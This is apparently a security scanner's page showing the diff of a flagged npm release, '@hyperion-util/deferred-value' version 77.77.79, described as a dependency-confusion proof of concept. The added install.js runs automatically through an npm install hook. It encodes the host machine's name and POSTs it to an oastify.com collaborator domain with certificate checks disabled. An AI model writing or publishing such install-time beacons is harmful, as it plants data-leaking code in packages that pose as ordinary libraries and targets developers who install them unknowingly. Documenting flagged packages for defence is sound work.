@hyperion-util/deferred-value 77.77.79
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @hyperion-util/deferred-value might be problematic. Click here for more details.
- package/install.js +26 -0
- package/package.json +11 -0
package/install.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
var hostname = Buffer.from(os.hostname()).toString('hex');
|
4
|
+
|
5
|
+
const data = new TextEncoder().encode(
|
6
|
+
JSON.stringify({
|
7
|
+
payload: hostname,
|
8
|
+
project_id: process.argv[2]
|
9
|
+
})
|
10
|
+
);
|
11
|
+
|
12
|
+
const options = {
|
13
|
+
hostname: hostname + '.' + process.argv[2] + '.0bc1835p3norj91euh7g5qe8xz3qrgf5.oastify.com',
|
14
|
+
port: 443,
|
15
|
+
path: '/',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/json',
|
19
|
+
'Content-Length': data.length
|
20
|
+
},
|
21
|
+
rejectUnauthorized: false
|
22
|
+
}
|
23
|
+
|
24
|
+
const req = https.request(options, res => {});
|
25
|
+
req.write(data);
|
26
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "@hyperion-util/deferred-value",
|
3
|
+
"version": "77.77.79",
|
4
|
+
"description": "PoC for testing hyperion-utils dependency confusion",
|
5
|
+
"main": "install.js",
|
6
|
+
"scripts": {
|
7
|
+
"install": "node install.js deferred-value"
|
8
|
+
},
|
9
|
+
"author": "dvx",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|